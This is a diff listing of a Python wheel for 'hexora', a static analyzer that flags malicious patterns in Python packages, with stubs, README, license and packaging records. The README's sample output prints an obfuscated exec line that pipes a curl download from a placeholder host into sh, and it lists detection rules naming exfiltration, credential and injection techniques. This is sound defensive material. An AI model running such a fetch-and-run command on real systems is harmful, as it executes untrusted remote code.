hexora 0.3.2__cp315-cp315-win_amd64.whl

hexora/__init__.py

@@ -0,0 +1,4 @@
+# hexora: Static analysis of malicous Python scripts.
+# Copyright (c) 2025, Artem Golubin
+
+from ._hexora import audit_path, audit_file

hexora/__init__.pyi

@@ -0,0 +1,81 @@
+from typing import List, Optional, Tuple, TypedDict, Literal, Union
+import os
+
+class AuditItem(TypedDict):
+    label: str
+    rule: str
+    description: str
+    confidence: Literal["very_low", "low", "medium", "high", "very_high"]
+    location: Optional[Tuple[int, int]]
+    annotation: Optional[str]
+
+class AuditResult(TypedDict):
+    items: List[AuditItem]
+    path: str
+    archive_path: Optional[str]
+
+def audit_path(input_path: Union[str, os.PathLike[str]]) -> List[AuditResult]:
+    """
+    Runs audit in the specified folder.
+
+    Example:
+        >>> import hexora
+        >>> results = hexora.audit_path("hexora/resources/test/")
+        >>> results[0]
+        {
+            "items": [
+                {
+                    "label": "pyperclip",
+                    "rule": "HX5010",
+                    "description": "pyperclip can be used to copy and paste data from the clipboard.",
+                    "confidence": "low",
+                    "location": (7, 16),
+                    "annotation": None,
+                }
+            ],
+            "path": "hexora/resources/test/clipboard_01.py",
+            "archive_path": None,
+        }
+    """
+    ...
+
+def audit_file(
+    input_path: Union[str, os.PathLike[str]],
+) -> List[AuditResult]:
+    """
+    Runs audit for the specified path.
+
+    Returns ``List[AuditResult]`` for both regular files and archives
+    (``.zip`` or ``.tar.gz``).
+
+    Example (regular file):
+        >>> import hexora
+        >>> result = hexora.audit_file("resources/test/exec_02.py")
+        >>> result[0]
+        {
+            'items': [
+                {
+                    'label': 'eval',
+                    'rule': 'HX3000',
+                    'description': 'Possible execution of unwanted code.',
+                    'confidence': 'medium',
+                    'location': (17, 36),
+                    'annotation': 'warning[HX3000]: Possible execution of unwanted code...Confidence: Medium'
+                },
+                {
+                    'label': 'builtins.exec',
+                    'rule': 'HX3000',
+                    'description': 'Possible execution of unwanted code.',
+                    'confidence': 'very_high',
+                    'location': (37, 65),
+                    'annotation': 'warning[HX3000]: Possible execution of unwanted code...Confidence: VeryHigh'
+                },
+                ...
+            ],
+            'path': 'resources/test/exec_02.py',
+            'archive_path': None
+        }
+    """
+    ...
+
+def run_cli() -> None: ...

hexora-0.3.2.dist-info/METADATA

@@ -0,0 +1,209 @@
+Metadata-Version: 2.4
+Name: hexora
+Version: 0.3.2
+Summary: Static analysis of malicous Python scripts.
+Author-email: Artem Golubin <me@rushter.com>
+License-Expression: MIT
+Project-URL: Homepage, https://github.com/rushter/hexora
+Project-URL: Repository, https://github.com/rushter/hexora
+Project-URL: Documentation, https://github.com/rushter/hexora/blob/main/README.md
+Requires-Python: >=3.9
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# hexora
+
+[![PyPI - Version](https://img.shields.io/pypi/v/hexora?logo=pypi&label=Pypi&logoColor=fff)](https://pypi.org/project/hexora)
+
+
+Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.
+It combines a rule-based static analysis engine with a machine-learned model that scores entire source files to classify them as malicious or benign.
+
+It can be used to:
+
+- Audit project dependencies to catch potential supply-chain attacks
+- Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
+- Analyze IoC files from past security incidents
+- Audit new packages uploaded to PyPi.
+
+
+<img width="600" alt="Hexora example" src="docs/example.gif">
+
+It's able to detect 2-10 new malicious packages on PyPI each day:
+<img alt="PyPI security" src="./assets/pypi_security.png" >
+
+# Examples
+
+For output examples, please see [docs/examples.md](docs/examples.md) file.
+
+# Installation
+
+## Using Python
+
+Requires Python 3.9+.
+
+```bash
+pip install hexora
+```
+
+Using uv:
+```bash
+uv tool install hexora
+```
+
+# Usage
+
+
+```bash
+hexora --help
+```
+
+## Audit single file
+
+```bash
+>  hexora audit test.py
+
+warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
+  ┌─ resources/test/test.py:3:8
+  │
+1 │ import pyperclip
+2 │
+3 │ data = pyperclip.paste()
+  │        ^^^^^^^^^^^^^^^^^ HX2000
+  │
+  = Confidence: High
+    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
+    Machine learning based score for file: 0.93
+
+warning[HX3000]: Possible execution of unwanted code
+   ┌─ resources/test/test.py:20:1
+   │
+19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
+20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
+   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
+   │
+```
+
+
+## Audit directory
+
+```bash
+hexora audit --output-format terminal resources/test/
+```
+
+
+## Audit packages from virtual environment
+
+```bash
+hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
+```
+
+Where `python3.11` is the version of the Python in virtual environment.
+
+Tips:
+
+- Use `--exclude` to suppress certain rule codes (e.g., noisy imports) for a given run
+- Use `--min-confidence` to focus on high-confidence findings only.
+
+Confidence indicates how a certain piece of code is malicious.
+Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from
+malicious ones.
+That's why some matches have a low confidence level.
+
+Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are
+very confident. For example, code and shell execution can have medium, high, and very high confidence.
+This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.
+
+For example, this code will have a high confidence:
+```
+globals()["__builtins__"].eval("print(123)")
+```
+
+## Usage in Python
+
+```python
+>>> import hexora
+>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
+>>> len(results)
+15
+>>> results[0]
+{'items': [{'confidence': 'low',
+            'description': 'pyperclip can be used to copy and paste data from '
+                           'the clipboard.',
+            'label': 'pyperclip',
+            'location': (7, 16),
+            'rule': 'HX5010'},
+           {'confidence': 'high',
+            'description': 'Reading from the clipboard can be used to '
+                           'exfiltrate sensitive data.',
+            'label': 'pyperclip.paste',
+            'location': (25, 42),
+            'rule': 'HX2000'}],
+ 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
+>>> # Single file audit
+>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
+>>> ...
+ ```
+
+## Testing Against Malicious Dataset
+
+When developing new rules, you can use existing malicious datasets such as [malicious-software-packages-dataset](https://github.com/DataDog/malicious-software-packages-dataset).
+
+After cloning, point the benchmarking tool to the dataset directory:
+
+```bash
+cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high
+```
+
+## Available rules
+
+New rules are added regularly.
+
+Right now, the following rules are available:
+| Code | Name | Description |
+|---|---|---|
+| HX1000 | AppEnumeration | Suspicious application enumeration. |
+| HX1010 | BrowserEnumeration | Suspicious browser enumeration (apps, cookies, history, etc.). |
+| HX1020 | PathEnumeration | Suspicious path enumeration. |
+| HX1030 | OSFingerprint | Suspicious OS fingerprinting. |
+| HX2000 | ClipboardRead | Reading from the clipboard. |
+| HX2010 | EnvAccess | Access to a sensitive environment variable. |
+| HX2020 | ScreenshotCapture | Capturing screenshots from the display. |
+| HX3000 | CodeExec | Possible code execution. |
+| HX3010 | ShellExec | Execution of a shell command. |
+| HX3040 | DLLInjection | Possible DLL injection. |
+| HX3050 | DangerousExec | Execution of potentially dangerous command inside a shell command. |
+| HX3060 | SuspiciousCall | Suspicious function call. |
+| HX4000 | ObfuscatedShellExec | Execution of possibly obfuscated shell command. |
+| HX4010 | ObfuscatedCodeExec | Execution of possibly obfuscated code. |
+| HX5000 | DunderImport | Suspicious use of `__import__`. |
+| HX5010 | SuspiciousImport | Suspicious import. |
+| HX5020 | CtypesImport | Suspicious ctypes import. |
+| HX5030 | PickleImport | Suspicious pickle import. |
+| HX5040 | StructImport | Suspicious struct import. |
+| HX5050 | SocketImport | Suspicious socket import. |
+| HX5060 | MarshalImport | Suspicious marshal import. |
+| HX6000 | Base64String | Long Base64-encoded string detected; possible code obfuscation. |
+| HX6010 | HexedLiterals | List of hex-encoded literals detected; possible payload. |
+| HX6020 | HexedString | Long hex-encoded string detected; possible payload. |
+| HX6030 | IntLiterals | Large list of integer literals detected; possible code obfuscation. |
+| HX6040 | CVEInLiteral | Literal contains a CVE identifier. |
+| HX6050 | SuspiciousLiteral | Suspicious literal detected; possible data enumeration. |
+| HX6060 | PathTraversal | Suspicious path traversal. |
+| HX6070 | BrowserExtension | Enumeration of sensitive browser extensions. |
+| HX6080 | WebHook | Suspicious webhook detected. Possible data exfiltration. |
+| HX6090 | TelegramToken | Telegram bot token detected in string literal. |
+| HX7000 | SuspiciousFunctionName | Suspicious function name. |
+| HX7010 | SuspiciousParameterName | Suspicious parameter name. |
+| HX7020 | SuspiciousVariable | Suspicious variable name. |
+| HX9000 | DataExfiltration | Potential data exfiltration. |
+| HX8000 | BinaryDownload | Suspicious binary download. |
+| HX8010 | BuiltinsVariable | Suspicious builtin variable usage. |
+| HX8020 | SuspiciousComment | Suspicious comment. |
+| HX8030 | SuspiciousWrite | Suspicious write to the filesystem. |
+| HX8040 | InstallHook | Suspicious install hook setup. |
+
+## Credits
+
+For parsing, we use AST parser from [ruff](https://github.com/astral-sh/ruff/tree/main) library.

hexora-0.3.2.dist-info/RECORD

@@ -0,0 +1,10 @@
+hexora/__init__.py,sha256=olot3miURuMd1fcAN9HpDY_0se9vZq7EqpexD7tosG8,139
+hexora/__init__.pyi,sha256=ijsj-_YM8PQwkbgz8NB2i-yOYO0hEYE0P8NeWCCuHKQ,2618
+hexora/_hexora.cp315-win_amd64.pyd,sha256=0nyf_7Et7iIlE1VIRqI9kuj90m9gGxnz9degZiPI5T4,6881792
+hexora/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+hexora-0.3.2.dist-info/licenses/LICENSE,sha256=17f-W5X5NLpDfERPMwjFCVy_KolXSPQ9XduzdYvW2Jk,1091
+hexora-0.3.2.dist-info/METADATA,sha256=dya1WMQrpOFWIaUqWI1J8QH3l9t0iQZrqpMCVD8jbgM,8057
+hexora-0.3.2.dist-info/WHEEL,sha256=geuJoH1aW6kS7q0cKuoOBUdE-tpBsTvRf9l5rOGbxQs,101
+hexora-0.3.2.dist-info/entry_points.txt,sha256=xClqIhOT_pvG4wUD1ymmOU3PhTDzPHfsTCR8Gf6PWMc,50
+hexora-0.3.2.dist-info/top_level.txt,sha256=6-ayVuqSBm1syhOLZQZHOXVNwoR6_J05ddqz84RwLd0,7
+hexora-0.3.2.dist-info/RECORD,,

hexora-0.3.2.dist-info/WHEEL

@@ -0,0 +1,5 @@
+Wheel-Version: 1.0
+Generator: setuptools (84.0.0)
+Root-Is-Purelib: false
+Tag: cp315-cp315-win_amd64
+

hexora-0.3.2.dist-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+hexora = hexora._hexora:run_cli

hexora-0.3.2.dist-info/licenses/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2025 Artem Golubin
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

hexora-0.3.2.dist-info/top_level.txt

@@ -0,0 +1 @@
+hexora